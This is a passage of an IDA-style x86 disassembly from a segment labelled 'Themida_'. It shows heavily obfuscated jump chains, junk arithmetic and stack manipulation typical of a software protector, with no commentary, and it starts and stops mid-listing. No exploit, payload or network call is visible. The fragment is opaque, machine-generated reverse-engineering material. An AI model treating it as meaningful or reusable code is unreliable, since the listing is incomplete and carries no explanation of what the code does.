		add	esp, 2
		push	1ECCh
		mov	[esp-0Ch+arg_8], ecx
		mov	ch, 40h
		sub	esp, 4
		mov	[esp-8+arg_4], eax
		jmp	loc_58E486
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58AA78:				; CODE XREF: Themida_:loc_593D5Dj
		xor	eax, 318B5294h
		mov	ebp, eax
		jmp	loc_58F380
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59447B


loc_58AA84:				; CODE XREF: sub_59447B+26j
		mov	[esp+8+var_8], edi
		push	ebp
		mov	ebp, 6E5131FEh
		mov	edi, 0CAF5389Eh
		jmp	loc_591B63
; END OF FUNCTION CHUNK	FOR sub_59447B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AA97:				; CODE XREF: sub_596082-35B7j
					; sub_596498-870j
		mov	[esp+10h+var_10], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_58FF0B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58AAAA:				; CODE XREF: Themida_:0058EDE0j
		mov	ebx, 39E32626h
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 355649CDh
		push	edi
		mov	edi, 15D2E733h
		sub	edx, edi
		pop	edi
		sub	eax, edx
		jmp	loc_58D3B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AACD:				; CODE XREF: sub_596082-5E6Ej
		jo	loc_5945F9
		jmp	loc_58B7DF
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58AAD8:				; CODE XREF: Themida_:005900E9j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	69Ch
		mov	[esp], ebx
		push	ecx
		push	ebx
		mov	bh, 0Dh
		not	bh
		sub	bh, 72h
		not	bh
		jmp	loc_590F65
; ---------------------------------------------------------------------------


loc_58AAFC:				; CODE XREF: Themida_:0058CD36j
		add	edi, esi
		jmp	loc_58B2C9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58AB03:				; CODE XREF: sub_58F160+5181j
		mov	esp, [esp-8+arg_4]
		cmp	ecx, eax
		pushf
		jmp	loc_5937AF
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58AB0E:				; CODE XREF: Themida_:0058CCE9j
		mov	eax, [esp]
		push	edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 6CD97A38h
		jmp	loc_592870
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58AB1F:				; CODE XREF: sub_58E66C-A8Bj
		mov	ecx, 0EB47309h
		jmp	loc_590E09
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		push	239Dh
		mov	[esp], ebx
		push	esp
		jmp	loc_5915E7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AB3B:				; CODE XREF: sub_596082-9F2Fj
		mov	edi, 1F8850B0h
		jmp	loc_5924EC
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58AB45:				; CODE XREF: sub_591C99:loc_5972B5j
		sub	ch, 0B9h
		mov	bl, ch
		mov	ecx, [esp+0]
		add	esp, 4
		sub	al, bl
		pop	bx
		xor	bl, al
		jmp	loc_5945FE
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58AB5E:				; CODE XREF: Themida_:0058D4ADj
		pop	ebx
		sub	ebx, 4A6CA0DAh
		add	edi, ebx
		pop	ebx
		push	ecx
		mov	ecx, 2CF1155Fh
		push	ebx
		mov	ebx, 0D30EEAA5h
		add	ecx, ebx
		jmp	loc_591CDF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AB7B:				; CODE XREF: sub_596082-1312j
		pop	esp
		jmp	loc_594079
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58AB81:				; CODE XREF: Themida_:00594761j
		xor	eax, 2D774F8Dh
		not	eax
		jmp	loc_595442
; ---------------------------------------------------------------------------


loc_58AB8D:				; CODE XREF: Themida_:00590806j
		add	edi, 6D392ED9h
		add	edi, ebp
		sub	edi, 6D392ED9h
		pop	ebp
		pop	ecx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 25856FCFh
		jmp	loc_59475A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_593009


loc_58ABB7:				; CODE XREF: sub_5967D4-7518j
					; sub_591C99+1DF9j ...
		push	0
		push	[esp+8+var_8]
		pop	ebx
		add	esp, 4
		add	ebx, edx
		mov	[ebx], al
		push	[esp+4+var_4]
		pop	ebx
		push	ebx
		jmp	loc_58EACD
; END OF FUNCTION CHUNK	FOR sub_593009
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58ABD1:				; CODE XREF: sub_58E66C+34CAj
		push	eax
		push	edx
		mov	edx, 143A7619h
		jmp	loc_5908D9
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58ABDD:				; CODE XREF: sub_591C99-61B4j
		pop	edx
		sub	eax, 36C21D74h
		add	eax, ebx
		add	eax, 36C21D74h
		add	eax, 72E2289Bh
		push	327Dh
		jmp	loc_590755
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------


loc_58ABF9:				; CODE XREF: Themida_:0058CFBDj
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		pop	edi
		jmp	loc_5910B8
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_596AFA
; ---------------------------------------------------------------------------


loc_58AC1F:				; CODE XREF: Themida_:0058C1CAj
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58AC24:				; CODE XREF: sub_58C878+2839j
		xor	edx, 0E4B7A897h
		add	edi, edx
		jmp	loc_597343
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58AC31:				; CODE XREF: Themida_:0058D779j
		sub	ebp, 9E45FC41h
		add	esi, 4EE0284Dh
		sub	esi, 2D082822h
		add	esi, ebp
		add	esi, 2D082822h
		sub	esi, 4EE0284Dh
		pop	ebp
		jmp	loc_59673E
; ---------------------------------------------------------------------------


loc_58AC57:				; CODE XREF: Themida_:00596E07j
		or	ebp, 0D0E5F87h
		sub	ebp, 1D0E5FB3h
		add	eax, ebp
		jmp	loc_58D0B2
; ---------------------------------------------------------------------------


loc_58AC6A:				; CODE XREF: Themida_:00596713j
		mov	edx, 4
		sub	ebx, 61267C0Ah
		add	ebx, edx
		add	ebx, 61267C0Ah
		jmp	loc_58D08D
; ---------------------------------------------------------------------------


loc_58AC82:				; CODE XREF: Themida_:00594FC1j
		sub	edx, 59CE08EAh
		jl	loc_58E5C8
		sub	edx, 0D3820996h
		mov	ebp, edx
		jmp	loc_58D127
; ---------------------------------------------------------------------------
		add	esi, ecx


loc_58AC9D:				; CODE XREF: Themida_:00593F68j
		add	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_58D51A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D966


loc_58ACA8:				; CODE XREF: sub_58D966+42CEj
		pop	esp
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp+0], ebx
		sub	esp, 4
		jmp	loc_596C92
; END OF FUNCTION CHUNK	FOR sub_58D966
; ---------------------------------------------------------------------------


loc_58ACBD:				; CODE XREF: Themida_:00591EA3j
		xchg	esi, [esp]
		jmp	loc_59470F
; ---------------------------------------------------------------------------


loc_58ACC5:				; CODE XREF: Themida_:0058D55Dj
		push	esp
		pop	ebx
		add	ebx, 4
		push	66EAh
		mov	[esp], ebp
		mov	ebp, 2
		add	ebx, 5AA71E27h
		jmp	loc_5957B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E049


loc_58ACE5:				; CODE XREF: Themida_:loc_592BE3j
					; sub_58E049+5397j
		mov	[esp+8+var_8], ebp
		mov	ebp, 1000h
		mov	edi, ebp
		pop	ebp
		push	edi
		jmp	loc_58DACA
; END OF FUNCTION CHUNK	FOR sub_58E049
; ---------------------------------------------------------------------------


loc_58ACF6:				; CODE XREF: Themida_:0058EA21j
		neg	dh
		jmp	loc_591CA1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58ACFD:				; CODE XREF: sub_58B09E+B260j
		not	[esp+8+var_8]
		pop	edi
		add	edi, 0F451EC6Dh
		sub	eax, 69103500h
		sub	eax, edi
		push	esi
		jmp	loc_596F46
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58AD14:				; CODE XREF: sub_58F160-15B6j
		push	[esp-4+arg_0]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		push	[esp+8+var_8]
		mov	eax, [esp+0Ch+var_C]
		add	esp, 4
		add	esp, 4
		add	esp, 4
		add	esp, 4
		push	5CCDh
		mov	[esp+0], edi
		jmp	loc_58EBFE
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F3F


loc_58AD45:				; CODE XREF: sub_594F3F+A3Cj
		add	esi, 2
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		btr	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_58A4F0
; END OF FUNCTION CHUNK	FOR sub_594F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58AD5F:				; CODE XREF: sub_591C99+2BAAj
		add	eax, esi
		jmp	loc_5944A6
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58F160


loc_58AD66:				; CODE XREF: sub_58F160-2FCEj
		mov	ecx, edi
		pop	edi
		jmp	loc_5915B8
; END OF FUNCTION CHUNK	FOR sub_58F160
; ---------------------------------------------------------------------------


loc_58AD6E:				; CODE XREF: Themida_:0058BA7Dj
		push	dword ptr [esp]
		pop	ebx
		push	0CC2h
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 2EC0538Eh
		xor	ebx, 2EC0538Ah
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_5910FF
; ---------------------------------------------------------------------------


loc_58AD9A:				; CODE XREF: Themida_:00591270j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 2
		add	eax, 5D8C7B47h
		add	eax, 781E7D3Ch
		add	eax, ebx
		sub	eax, 781E7D3Ch
		jmp	loc_58D21F
; ---------------------------------------------------------------------------


loc_58ADCA:				; CODE XREF: Themida_:00596EDCj
		mov	esi, 14DBAE5Dh
		sub	edx, 382F178Ah
		jmp	loc_594F0A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58ADDA:				; CODE XREF: sub_596082-A0C2j
		jmp	loc_58CF31
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58ADDF:				; CODE XREF: Themida_:00591611j
		sub	eax, edx
		pop	edx
		push	ebx
		jmp	loc_58E1FF
; ---------------------------------------------------------------------------


loc_58ADE8:				; CODE XREF: Themida_:0058EE00j
		pop	ebx
		add	ebx, 45F40A68h
		jmp	loc_590A53
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58ADF4:				; CODE XREF: sub_596082-6F8Bj
		pop	ecx
		push	ebx
		push	[esp+0Ch+var_8]
		jmp	loc_590A7B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		lodsd
		sub	eax, 62A97ED9h
		push	815h
		mov	[esp], edx
		push	eax
		mov	eax, 532D572Dh
		dec	eax
		inc	eax
		neg	eax
		jle	loc_597254
		jmp	loc_58F620
; ---------------------------------------------------------------------------
		mov	edx, [esp]
		add	esp, 4
		push	ecx
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AE2C:				; CODE XREF: Themida_:0058A807j
					; sub_596082-A513j ...
		sub	ebx, 44A71209h
		pop	edi
		xchg	ebx, [esp+0Ch+var_C]
		mov	esp, [esp+0Ch+var_C]
		push	[esp+0Ch+var_C]
		mov	ecx, [esp+10h+var_10]
		add	esp, 4
		push	76A2h
		mov	[esp+10h+var_10], edx
		mov	edx, esp
		jmp	loc_5977BE
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58AE51:				; CODE XREF: sub_58E66C+4067j
		mov	edx, 25787161h
		jmp	loc_593E65
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AE5B:				; CODE XREF: sub_5941CE-4281j
					; sub_596082-50CFj
		add	esi, 60CE4DE2h
		jmp	loc_58D46B
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58AE66:				; CODE XREF: sub_58E66C+865j
		add	eax, 6AC75DC8h
		pop	ecx
		xor	eax, esi
		pop	esi
		and	ecx, eax
		mov	eax, [esp+4+var_4]
		push	ebx
		mov	ebx, esp
		jmp	loc_58BCA7
; END OF FUNCTION CHUNK	FOR sub_58E66C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_58AE7C	proc near		; CODE XREF: sub_58D6A0:loc_58E217j
					; Themida_:0059579Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058B054 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058B174 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058B42C SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0058C423 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058DB79 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0058DFF0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0058F121 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F417 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058F5C3 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0058F608 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0058F73C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058FA0E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00590BF4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005910E8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059127D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 00591F1C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00592FA9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00594CA0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00594DF8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059528A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00595B3E SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00596212 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00596692 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00597528 SIZE 00000029 BYTES
; FUNCTION CHUNK AT 005976FA SIZE 00000009 BYTES

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0]
		jmp	loc_597528
sub_58AE7C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596BF6


loc_58AE93:				; CODE XREF: sub_596BF6-8F36j
		sub	eax, 4
		xchg	eax, [esp+0]
		pop	esp
		mov	[esp-4+arg_0], eax
		mov	eax, 716F0E4Ch
		push	edi
		jmp	loc_58F5D2
; END OF FUNCTION CHUNK	FOR sub_596BF6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58AEA8:				; CODE XREF: sub_5F45E7-63C7Ej
		add	edx, 7D7F784Bh
		add	edx, edi
		sub	edx, 7D7F784Bh
		push	eax
		jmp	loc_59472B
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58AEBC:				; CODE XREF: Themida_:0058CC98j
		xchg	esi, [esp]
		pop	esp
		mov	fs:[edx], ax
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------


loc_58AEC9:				; CODE XREF: Themida_:0058EE4Bj
		push	edi
		push	2B0Dh
		mov	[esp], esp
		jmp	loc_58F550
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58AED7:				; CODE XREF: sub_58C878-312j
		add	esp, 4
		xor	al, bh
		mov	bx, word ptr [esp+0Ah+var_A]
		add	esp, 2
		jmp	loc_595B1D
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------


loc_58AEEE:				; CODE XREF: Themida_:0058BC3Fj
		sub	ecx, 8020DC4h
		add	ecx, 6087184Dh
		sub	ecx, edi
		sub	ecx, 6087184Dh
		add	ecx, 8020DC4h
		xchg	ecx, edi
		pop	ecx
		dec	edi
		xor	edi, 0EB716A4Bh
		add	eax, 3AA93D31h
		sub	eax, edi
		sub	eax, 3AA93D31h
		pop	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 349F72A5h
		add	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		push	212Dh
		jmp	loc_58EC9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AF43:				; CODE XREF: sub_596082-224Bj
		pop	eax
		jmp	loc_59183C
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58AF49:				; CODE XREF: Themida_:0058EE09j
		shl	cl, 5
		jmp	loc_5935F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58AF51:				; CODE XREF: sub_596082-128Fj
		sub	ebp, 0DB58D628h
		add	eax, ebp
		jmp	loc_58DB27
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5F45E7


loc_58AF5E:				; CODE XREF: sub_5F45E7-602DCj
		push	[esp+30h+var_32+2]
		pop	esi
		push	2EA8h
		mov	[esp+0], edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		jmp	loc_596C58
; END OF FUNCTION CHUNK	FOR sub_5F45E7
; ---------------------------------------------------------------------------


loc_58AF83:				; CODE XREF: Themida_:00596D3Aj
		mov	ebx, [esp]
		add	esp, 4
		sub	al, bl
		push	cx
		mov	cl, 26h
		sub	al, cl
		mov	cx, [esp]
		add	esp, 2
		add	al, 12h
		push	ebp
		mov	ebp, esp
		jmp	loc_595914
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58B09E


loc_58AFA8:				; CODE XREF: sub_58B09E+4C92j
		push	edi
		jmp	loc_58B487
; END OF FUNCTION CHUNK	FOR sub_58B09E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591C99


loc_58AFAE:				; CODE XREF: sub_591C99+3F0Dj
		mov	[esp-0Ah+arg_0+2], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp-0Ah+arg_0+2]
		pop	esp
		push	eax
		jmp	sub_58F6F4
; END OF FUNCTION CHUNK	FOR sub_591C99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A7F


loc_58AFC6:				; CODE XREF: sub_594A7F+6j
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		pop	esi
		jmp	sub_58D6A0
; END OF FUNCTION CHUNK	FOR sub_594A7F
; ---------------------------------------------------------------------------


loc_58AFD6:				; CODE XREF: Themida_:005964BBj
		push	dword ptr [esp]
		jmp	loc_58A8AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58AFDE:				; CODE XREF: sub_58E66C+6F8Aj
		add	eax, 5090AA66h
		jmp	loc_594F78
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58D2AA


loc_58AFE8:				; CODE XREF: sub_58D2AA+1602j
		pop	edx
		push	3A3Fh
		mov	[esp+0], ebp
		push	ecx
		mov	ecx, 204547Ch
		dec	ecx
		add	ecx, 43662BF3h
		jmp	loc_5901FA
; END OF FUNCTION CHUNK	FOR sub_58D2AA
; ---------------------------------------------------------------------------


loc_58B003:				; CODE XREF: Themida_:00593FD3j
		push	3770h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_5914EF
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		jmp	loc_59135A
; ---------------------------------------------------------------------------


loc_58B020:				; CODE XREF: Themida_:005948CAj
		push	ebx
		mov	bh, dh
		mov	cl, bh
		pop	ebx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_590EA0
; ---------------------------------------------------------------------------


loc_58B030:				; CODE XREF: Themida_:0058F72Bj
		add	esi, edi
		jmp	loc_59502F
; ---------------------------------------------------------------------------


loc_58B037:				; CODE XREF: Themida_:005928E1j
		add	edi, 13D5D27Dh
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	4B5Dh
		jmp	loc_59632A
; ---------------------------------------------------------------------------


loc_58B04F:				; CODE XREF: Themida_:0058E9F2j
		jmp	loc_58B618
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58B054:				; CODE XREF: sub_58AE7C+48CFj
		add	ebx, 616C4CB8h
		push	edi
		mov	edi, 4ECD3A6Fh
		add	ebx, edi
		pop	edi
		sub	ebx, edx
		sub	ebx, 4ECD3A6Fh
		sub	ebx, 616C4CB8h
		pop	edx
		xchg	ebx, [esp+0]
		pop	esp
		mov	[esp+0], ebx
		jmp	loc_58F608
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_58A4F0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5952B4


loc_58B08D:				; CODE XREF: Themida_:0059282Aj
					; sub_5952B4-2710j ...
		mov	[esp+0], ebx
		mov	ebx, 0FFFFFFFFh
		sub	[edi+24h], ebx
		mov	ebx, [esp+0]
		add	esp, 4
; END OF FUNCTION CHUNK	FOR sub_5952B4

; =============== S U B	R O U T	I N E =======================================



sub_58B09E	proc near		; CODE XREF: sub_58E91C+30CDj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0058A60A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058ACFD SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058AFA8 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058B487 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058C00A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058D906 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0058FD02 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 00591C52 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005936A1 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059391A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0059401B SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005954CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005962E3 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00596F46 SIZE 0000000A BYTES

		push	ebx
		push	edi
		mov	edi, 2F921EBAh
		sub	[esp+8+var_4], edi
		pop	edi
		mov	eax, [esp+4+var_4]
		add	esp, 4
		jmp	loc_58FD02
sub_58B09E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B0B8:				; CODE XREF: sub_596082-63A5j
		mov	edi, 448D061Bh
		sub	edi, esi
		pop	esi
		mov	edx, edi
		pop	edi
		sub	esi, 2A9C6725h
		add	esi, edx
		add	esi, 2A9C6725h
		jmp	loc_590362
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5977F3


loc_58B0D6:				; CODE XREF: sub_5977F3-693Ej
		mov	esi, 73CA2C38h
		jmp	loc_58B54B
; END OF FUNCTION CHUNK	FOR sub_5977F3
; ---------------------------------------------------------------------------


loc_58B0E0:				; CODE XREF: Themida_:005902C5j
		push	ebx
		jmp	loc_58C4D1
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2050h
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_5973E9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C878


loc_58B109:				; CODE XREF: sub_58C878+9BD8j
		mov	bh, cl
		pop	ecx
		push	eax
		mov	ah, bh
		mov	cl, ah
		jmp	loc_590E03
; END OF FUNCTION CHUNK	FOR sub_58C878
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B116:				; CODE XREF: sub_596082-A89Dj
		jnp	loc_58F669
		sub	eax, 6A1663CEh
		jmp	loc_5906C3
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58B126:				; CODE XREF: Themida_:005949C7j
		pop	esp
		mov	cx, [esp]
		push	ebp
		jmp	loc_594920
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594239


loc_58B131:				; CODE XREF: sub_594239-371Bj
		push	edx
		jmp	loc_591B3B
; END OF FUNCTION CHUNK	FOR sub_594239
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B137:				; CODE XREF: sub_596082-7823j
		pop	ecx
		add	esp, 4
		add	edx, ebp
		pop	ebp


loc_58B13E:				; CODE XREF: sub_58E2BE+F2Fj
					; sub_596082-5F58j
		push	dword ptr [edi+24h]
		push	edx
		jmp	loc_5959D2
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------
		lodsd
		jmp	loc_58EC39
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58E66C


loc_58B14D:				; CODE XREF: sub_58E66C+534Cj
		mov	[esp+8+var_8], ebp
		push	edx
		mov	edx, 77D208ACh
		dec	edx
		jl	loc_58D7AE
		add	edx, 0F264F23h
		jnp	loc_58C3F7
		jmp	loc_5961D8
; END OF FUNCTION CHUNK	FOR sub_58E66C
; ---------------------------------------------------------------------------
		add	ecx, 4
; START	OF FUNCTION CHUNK FOR sub_58AE7C


loc_58B174:				; CODE XREF: sub_58AE7C+B39Cj
		shl	ah, 2
		and	ah, 2Bh
		shl	ah, 8
		sub	ah, 3
		xor	ah, 20h
		jmp	loc_58F5C3
; END OF FUNCTION CHUNK	FOR sub_58AE7C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5902CA


loc_58B188:				; CODE XREF: sub_5902CA+6j
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], cx
		push	esi
		mov	si, 541Fh
		inc	si
		jmp	loc_58DC5E
; END OF FUNCTION CHUNK	FOR sub_5902CA
; ---------------------------------------------------------------------------


loc_58B19F:				; CODE XREF: Themida_:0058A8FEj
		mov	edx, 363D015Ch
		sub	edx, 46703F80h
		jmp	loc_58A626
; ---------------------------------------------------------------------------


loc_58B1AF:				; CODE XREF: Themida_:00596DFCj
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_58D542
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59236E


loc_58B1B9:				; CODE XREF: sub_59236E+1E5Bj
		mov	eax, 1
		mov	edx, eax
		push	dword ptr [esp+0]
		jmp	loc_58D028
; END OF FUNCTION CHUNK	FOR sub_59236E
; ---------------------------------------------------------------------------


loc_58B1C8:				; CODE XREF: Themida_:00595596j
		pop	edx
		dec	ebp
		or	ebp, 4A8E4F9Ch
		jmp	loc_591406
; ---------------------------------------------------------------------------


loc_58B1D5:				; CODE XREF: Themida_:00591FA1j
		inc	dl
		jmp	loc_58B62F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596082


loc_58B1DC:				; CODE XREF: sub_596082-257Bj
		mov	esp, [esp+0]
		push	eax
		jmp	loc_58B2D7
; END OF FUNCTION CHUNK	FOR sub_596082
; ---------------------------------------------------------------------------


loc_58B1E5:				; CODE XREF: Themida_:0058D442j
		mov	[esp], eax
		mov	eax, 4
